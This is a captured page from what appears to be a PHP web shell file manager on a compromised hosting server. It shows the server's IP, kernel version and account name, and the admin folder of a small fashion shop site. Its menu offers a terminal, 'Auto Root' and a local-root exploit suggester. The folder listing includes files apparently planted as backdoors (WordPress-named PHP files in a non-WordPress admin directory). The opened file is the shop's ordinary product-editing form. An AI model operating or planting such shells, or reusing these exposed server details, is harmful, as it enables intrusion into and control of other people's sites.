Linux amd.servercpanel.com 5.14.0-570.25.1.el9_6.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Jul 9 04:57:09 EDT 2025 x86_64
LiteSpeed
Server IP : 161.248.188.165 & Your IP : 216.73.216.219
Domains :
Cant Read [ /etc/named.conf ]
User : oishifashion
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
home /
oishifashion /
public_html /
admin /
Delete
Unzip
Name
Size
Permission
Date
Action
.htaccess
197
B
-r--r--r--
2025-12-18 07:34
admin.php
5.24
KB
-rw-r--r--
2025-12-16 09:20
delete_product.php
299
B
-rw-r--r--
2025-08-13 23:10
error_log
11.5
KB
-rw-r--r--
2025-12-23 06:43
index.php
63.88
KB
-rw-r--r--
2025-12-16 09:20
login.php
1.52
KB
-rw-r--r--
2025-08-13 23:10
logout.php
145
B
-rw-r--r--
2025-08-13 23:10
product_form.php
4.04
KB
-rw-r--r--
2025-08-13 23:10
products.php
1.98
KB
-rw-r--r--
2025-08-13 23:10
wp-blog-header.php
2.74
KB
-rw-r--r--
2025-12-18 07:34
wp-cron.php
2.74
KB
-rw-r--r--
2025-12-18 07:34
Save
Rename
<?php require_once __DIR__ . '/../functions.php'; ensure_admin(); $conn = db(); $id = isset($_GET['id']) ? (int)$_GET['id'] : 0; $editing = false; $data = ['name'=>'','price'=>'','old_price'=>'','badge'=>'','image'=>'','description'=>'']; if ($id) { $row = product_get($id); if ($row) { $data = $row; $editing = true; } } $err = ''; if ($_SERVER['REQUEST_METHOD'] === 'POST') { $name = trim($_POST['name'] ?? ''); $price = (int)($_POST['price'] ?? 0); $old_price = $_POST['old_price'] !== '' ? (int)$_POST['old_price'] : null; $badge = trim($_POST['badge'] ?? ''); $description = trim($_POST['description'] ?? ''); $image = $data['image']; if (!empty($_FILES['image']['name'])) { $ext = strtolower(pathinfo($_FILES['image']['name'], PATHINFO_EXTENSION)); $allowed = ['jpg','jpeg','png','webp']; if (!in_array($ext, $allowed)) $err = 'Invalid image type'; else { $fname = 'assets/images/products/' . time() . '_' . preg_replace('/[^a-z0-9\.\-_]+/i','', $_FILES['image']['name']); if (move_uploaded_file($_FILES['image']['tmp_name'], __DIR__ . '/../' . $fname)) { $image = $fname; } else { $err = 'Upload failed'; } } } if (!$err) { if ($editing) { $sql = "UPDATE products SET name=?, price=?, old_price=?, badge=?, image=?, description=? WHERE id=?"; $stmt = $conn->prepare($sql); $stmt->bind_param('siisssi', $name, $price, $old_price, $badge, $image, $description, $id); $stmt->execute(); } else { $sql = "INSERT INTO products (name, price, old_price, badge, image, description) VALUES (?,?,?,?,?,?)"; $stmt = $conn->prepare($sql); $stmt->bind_param('siisss', $name, $price, $old_price, $badge, $image, $description); $stmt->execute(); $id = $stmt->insert_id; } header('Location: products.php'); exit; } } ?> <!DOCTYPE html> <html lang="en"> <head> <meta charset="utf-8" /> <meta name="viewport" content="width=device-width, initial-scale=1" /> <title><?= $editing ? 'Edit' : 'Add' ?> Product</title> <script src="https://cdn.tailwindcss.com"></script> </head> <body class="bg-gray-100"> <div class="max-w-3xl mx-auto px-4 py-6"> <div class="flex items-center justify-between"> <h1 class="text-2xl font-bold"><?= $editing ? 'Edit' : 'Add' ?> Product</h1> <a class="px-3 py-2 rounded border" href="products.php">Back</a> </div> <?php if ($err): ?><div class="mt-4 p-3 bg-red-50 text-red-700 rounded"><?= e($err) ?></div><?php endif; ?> <form method="post" enctype="multipart/form-data" class="mt-4 bg-white p-6 rounded-xl shadow grid grid-cols-1 gap-4"> <label class="text-sm">Name <input name="name" value="<?= e($data['name']) ?>" class="mt-1 w-full border border-gray-300 rounded-lg px-3 py-2" required> </label> <div class="grid grid-cols-2 gap-4"> <label class="text-sm">Price <input type="number" name="price" value="<?= e($data['price']) ?>" class="mt-1 w-full border border-gray-300 rounded-lg px-3 py-2" required> </label> <label class="text-sm">Old Price <input type="number" name="old_price" value="<?= e($data['old_price']) ?>" class="mt-1 w-full border border-gray-300 rounded-lg px-3 py-2"> </label> </div> <label class="text-sm">Badge (optional) <input name="badge" value="<?= e($data['badge']) ?>" class="mt-1 w-full border border-gray-300 rounded-lg px-3 py-2"> </label> <label class="text-sm">Description <textarea name="description" rows="4" class="mt-1 w-full border border-gray-300 rounded-lg px-3 py-2"><?= e($data['description']) ?></textarea> </label> <label class="text-sm">Image (jpg, png, webp) <input type="file" name="image" class="mt-1 w-full border border-gray-300 rounded-lg px-3 py-2"> <?php if (!empty($data['image'])): ?> <div class="text-xs mt-1">Current: <?= e($data['image']) ?></div> <?php endif; ?> </label> <button class="bg-black text-white px-5 py-2 rounded-lg font-semibold">Save</button> </form> </div> </body> </html>